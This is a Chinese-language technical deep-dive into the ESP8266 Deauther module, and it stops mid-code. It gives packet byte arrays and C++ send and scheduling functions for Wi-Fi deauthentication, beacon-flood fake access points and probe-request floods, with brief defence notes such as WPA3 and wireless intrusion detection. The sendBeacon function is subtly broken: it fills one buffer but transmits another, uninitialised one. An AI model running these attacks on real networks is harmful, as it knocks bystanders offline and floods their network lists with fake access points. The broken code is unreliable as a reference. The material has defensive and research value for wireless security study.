Deauther攻击模块：WiFi去认证技术深度剖析

2026-02-04 04:49:23作者：薛曦旖Francesca

本文深入剖析了基于ESP8266的Deauther攻击模块，详细解析了IEEE 802.11协议中去认证帧的结构与工作原理，包括Beacon洪水攻击、Probe请求洪水攻击等核心技术。文章从帧控制字段、MAC地址字段、原因代码等底层技术细节入手，全面分析了各种攻击方式的技术实现机制、数据包构造原理、发送速率控制策略以及多信道管理技术，为读者提供了WiFi去认证攻击的完整技术图谱。

IEEE 802.11协议中的去认证帧结构

在WiFi网络安全研究中，去认证攻击是最基础且最有效的攻击方式之一。要深入理解这种攻击机制，我们必须首先剖析IEEE 802.11协议中去认证帧的详细结构。这种管理帧的设计初衷是用于合法的网络管理目的，但在安全测试中却成为了重要的攻击向量。

去认证帧的基本格式

IEEE 802.11标准定义的去认证帧属于管理帧类型，其整体结构遵循标准的802.11帧格式。根据esp8266_deauther项目的实现，我们可以清晰地看到去认证帧的字节级构造：

uint8_t deauthPacket[26] = {
    /*  0 - 1  */ 0xC0, 0x00,                         // 类型和子类型: C0表示去认证帧
    /*  2 - 3  */ 0x00, 0x00,                         // 持续时间(由SDK处理)
    /*  4 - 9  */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // 接收者地址(目标设备)
    /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // 发送者地址(AP)
    /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID(AP)
    /* 22 - 23 */ 0x00, 0x00,                         // 分段和序列号
    /* 24 - 25 */ 0x01, 0x00                          // 原因代码(1=未指定原因)
};

帧控制字段详解

帧控制字段占据前2个字节，定义了帧的基本属性：

位位置	字段名称	值	说明
0-1	协议版本	00	总是设置为0
2-3	类型	00	管理帧(00)
4-7	子类型	1100	去认证帧(12)
8	To DS	0	去往分布式系统
9	From DS	0	来自分布式系统
10	More Frag	0	更多分段
11	Retry	0	重传帧
12	Pwr Mgt	0	电源管理
13	More Data	0	更多数据
14	Protected	0	受保护帧
15	Order	0	有序帧

MAC地址字段解析

去认证帧包含三个关键的MAC地址字段：

接收者地址(RA): 目标设备的MAC地址，通常设置为广播地址(FF:FF:FF:FF:FF:FF)或特定设备的MAC
发送者地址(TA): 发送帧的设备的MAC地址，通常是AP的MAC
BSSID: 基本服务集标识符，通常是AP的MAC地址

flowchart TD
    A[去认证帧结构] --> B[帧控制字段: 2字节]
    A --> C[持续时间: 2字节]
    A --> D[地址字段: 18字节]
    A --> E[序列控制: 2字节]
    A --> F[帧体: 2字节]
    
    D --> D1[接收者地址: 6字节]
    D --> D2[发送者地址: 6字节]
    D --> D3[BSSID: 6字节]
    
    F --> F1[原因代码: 2字节]

原因代码字段

原因代码字段是去认证帧的核心部分，指示了断开连接的具体原因。IEEE 802.11标准定义了多种原因代码：

代码值	原因描述	说明
1	Unspecified reason	未指定原因
2	Previous authentication no longer valid	先前认证不再有效
3	Deauthenticated because sending station is leaving	发送站正在离开
4	Disassociated due to inactivity	因不活动而解除关联
5	Disassociated because AP is unable to handle all currently associated stations	AP无法处理所有关联站
6	Class 2 frame received from nonauthenticated station	从未认证站接收到2类帧
7	Class 3 frame received from nonassociated station	从未关联站接收到3类帧
8	Disassociated because sending station is leaving	发送站正在离开

序列控制字段

序列控制字段包含两个子字段：

分段编号(4位): 标识帧的分段
序列编号(12位): 标识帧的序列号，用于重传检测

实际攻击中的帧构造

在esp8266_deauther项目中，去认证帧的构造过程如下：

bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
    // 构建去认证包
    packetSize = sizeof(deauthPacket);
    uint8_t deauthpkt[packetSize];
    memcpy(deauthpkt, deauthPacket, packetSize);
    
    // 设置目标MAC地址
    memcpy(&deauthpkt[4], stMac, 6);
    // 设置发送者MAC地址  
    memcpy(&deauthpkt[10], apMac, 6);
    // 设置BSSID
    memcpy(&deauthpkt[16], apMac, 6);
    // 设置原因代码
    deauthpkt[24] = reason;
    
    return sendPacket(deauthpkt, packetSize, ch, false);
}

安全性考虑

去认证帧的设计存在一个重要安全缺陷：它们通常不需要加密或认证。这意味着攻击者可以轻易伪造去认证帧，这正是去认证攻击能够成功的技术基础。现代WiFi安全协议如WPA3试图通过管理帧保护来缓解这种攻击。

理解去认证帧的详细结构不仅有助于安全研究人员进行合法的渗透测试，也为网络管理员提供了识别和防御此类攻击的技术基础。通过分析帧结构和字段含义，我们可以更好地理解802.11协议的安全机制和潜在漏洞。

Beacon洪水攻击与虚假AP生成原理

在WiFi安全测试领域，Beacon洪水攻击是一种极具迷惑性的攻击技术，它通过大量发送伪造的Beacon帧来淹没目标网络，使正常设备难以识别真实的接入点。ESP8266 Deauther项目实现了这一技术的完整实现，让我们深入剖析其工作原理和技术细节。

Beacon帧结构与工作原理

Beacon帧是802.11协议中的管理帧，用于宣告无线网络的存在。每个合法的AP都会定期发送Beacon帧，其中包含网络的基本信息：

// Beacon帧基本结构（部分）
uint8_t beaconPacket[109] = {
    /*  0 - 3  */ 0x80, 0x00, 0x00, 0x00,        // Type/Subtype: 管理帧-beacon
    /*  4 - 9  */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // 目标地址: 广播
    /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // 源MAC地址
    /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // BSSID
    // ... 其他字段
};

虚假AP生成机制

ESP8266 Deauther通过以下步骤生成虚假AP：

MAC地址随机化：每次攻击开始时生成随机MAC地址
SSID注入：将预设的SSID列表注入到Beacon帧中
信道配置：支持在所有2.4GHz信道上发送
安全标志设置：可配置为开放网络或WPA2加密网络

flowchart TD
    A[攻击启动] --> B[生成随机MAC地址]
    B --> C[遍历SSID列表]
    C --> D[构建Beacon帧]
    D --> E[设置信道参数]
    E --> F[发送伪造Beacon]
    F --> G{是否继续?}
    G -->|是| C
    G -->|否| H[攻击停止]

核心代码实现分析

Beacon帧发送函数

bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
    packetSize = sizeof(beaconPacket);
    uint8_t tmpPacket[packetSize];
    
    // 设置安全标志
    if (wpa2) {
        beaconPacket[34] = 0x31; // WPA2加密
    } else {
        beaconPacket[34] = 0x21; // 开放网络
    }
    
    // 复制MAC地址到帧中
    memcpy(&beaconPacket[10], mac, 6);
    memcpy(&beaconPacket[16], mac, 6);
    
    // 设置SSID
    uint8_t ssidLen = strlen(ssid);
    memcpy(&beaconPacket[38], ssid, ssidLen);
    
    // 设置信道
    beaconPacket[82] = ch;
    
    // 发送数据包
    bool success = sendPacket(tmpPacket, packetSize, ch, true);
    
    if (success) {
        beacon.time = currentTime;
        beacon.packetCounter++;
        tmpPacketRate++;
    }
    
    return success;
}

攻击调度机制

项目采用智能调度算法确保Beacon帧的均匀发送：

void Attack::beaconUpdate() {
    if (beacon.active && (beacon.maxPkts > 0) && 
        (beacon.packetCounter < beacon.maxPkts)) {
        if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
            beacon.tc += sendBeacon(beacon.tc);
            if (beacon.tc >= ssids.count()) beacon.tc = 0;
        }
    }
}

技术参数配置

参数	默认值	说明
Beacon间隔	100ms/1s	帧发送频率
最大SSID数量	60	可生成的虚假网络数
信道支持	1-11	2.4GHz所有信道
加密支持	WPA2/开放	网络安全类型

攻击效果与防御

Beacon洪水攻击会产生以下效果：

网络列表污染：正常设备无法识别真实AP
连接干扰：设备可能尝试连接虚假网络
资源消耗：客户端需要处理大量Beacon帧

防御措施包括：

使用WPA3加密网络
启用AP的Beacon帧过滤功能
部署无线入侵检测系统

实际应用场景

这种技术在以下场景中有实际价值：

安全测试：评估网络对Beacon洪水攻击的抵抗力
红队演练：模拟高级持续性威胁(APT)攻击
教育研究：学习802.11协议和无线安全原理

通过深入理解Beacon洪水攻击的原理和实现，安全专业人员可以更好地防御这类攻击，同时也能在授权的测试环境中合理使用这些技术。

Probe请求洪水攻击技术实现

Probe请求洪水攻击是一种针对WiFi网络的拒绝服务攻击技术，通过大量发送伪造的Probe Request帧来淹没目标网络，导致网络设备资源耗尽或无法正常响应合法请求。在ESP8266 Deauther项目中，这一攻击模块实现了高效且灵活的Probe请求洪水攻击功能。

技术原理与实现机制

Probe请求洪水攻击的核心在于构造并大量发送IEEE 802.11 Probe Request帧。这些帧通常由客户端设备发送，用于主动扫描周围的无线网络。攻击者通过伪造大量这样的请求帧，可以：

消耗AP处理资源：每个Probe Request都需要AP进行解析和响应
占用信道带宽：大量广播帧占用无线信道，影响正常通信
干扰网络发现：淹没合法的网络发现过程

攻击包结构设计

ESP8266 Deauther使用预定义的Probe Request包结构，具体格式如下：

uint8_t probePacket[68] = {
    /*  0 - 1  */ 0x40, 0x00,                         // Type: Probe Request (0x40)
    /*  2 - 3  */ 0x00, 0x00,                         // Duration: 0 microseconds
    /*  4 - 9  */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
    /* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: 随机MAC地址
    /* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
    /* 22 - 23 */ 0x00, 0x00,                         // 序列号（由SDK处理）
    /* 24 - 25 */ 0x00, 0x20,                         // Tag: SSID长度设置，长度: 32
    /* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, // SSID内容（32字节空格）
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    /* 58 - 59 */ 0x01, 0x08,                         // Tag: 支持速率，长度: 8
    /* 60 */ 0x82,                                   // 1 Mbps
    /* 61 */ 0x84,                                   // 2 Mbps
    /* 62 */ 0x8b,                                   // 5.5 Mbps
    /* 63 */ 0x96,                                   // 11 Mbps
    /* 64 */ 0x24,                                   // 18 Mbps
    /* 65 */ 0x30,                                   // 24 Mbps
    /* 66 */ 0x48,                                   // 36 Mbps
    /* 67 */ 0x6c                                    // 54 Mbps
};

攻击执行流程

Probe请求洪水攻击的执行遵循严格的时序控制和资源管理机制：

flowchart TD
    A[攻击启动] --> B[参数初始化]
    B --> C[设置发送速率]
    C --> D{攻击是否激活}
    D -- 是 --> E[生成随机MAC]
    E --> F[构造Probe包]
    F --> G[设置目标SSID]
    G --> H[发送数据包]
    H --> I[更新计数器]
    I --> J[检查超时]
    J -- 未超时 --> D
    J -- 超时 --> K[停止攻击]
    D -- 否 --> K

核心代码实现

攻击控制逻辑

void Attack::probeUpdate() {
    if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {
        if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
            if (settings::getAttackSettings().attack_all_ch) 
                setWifiChannel(probe.tc % 11, true);
            probe.tc += sendProbe(probe.tc);
            if (probe.tc >= ssids.count()) probe.tc = 0;
        }
    }
}

Probe包发送函数

bool Attack::sendProbe(uint8_t tc) {
    if (tc >= ssids.count()) return 0;
    return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
}

bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
    if (!ssid) return false;
    
    // 构建Probe请求包
    packetSize = sizeof(probePacket);
    uint8_t probepkt[packetSize];
    memcpy(probepkt, probePacket, packetSize);
    
    // 设置源MAC地址
    memcpy(&probepkt[10], mac, 6);
    
    // 设置SSID
    uint8_t ssidLen = strlen(ssid);
    if (ssidLen > 32) ssidLen = 32;
    probepkt[25] = ssidLen; // 设置SSID长度
    
    // 清空SSID字段
    memset(&probepkt[26], 0x20, 32);
    // 复制实际SSID
    memcpy(&probepkt[26], ssid, ssidLen);
    
    // 发送数据包
    bool success = sendPacket(probepkt, packetSize, ch, false);
    if (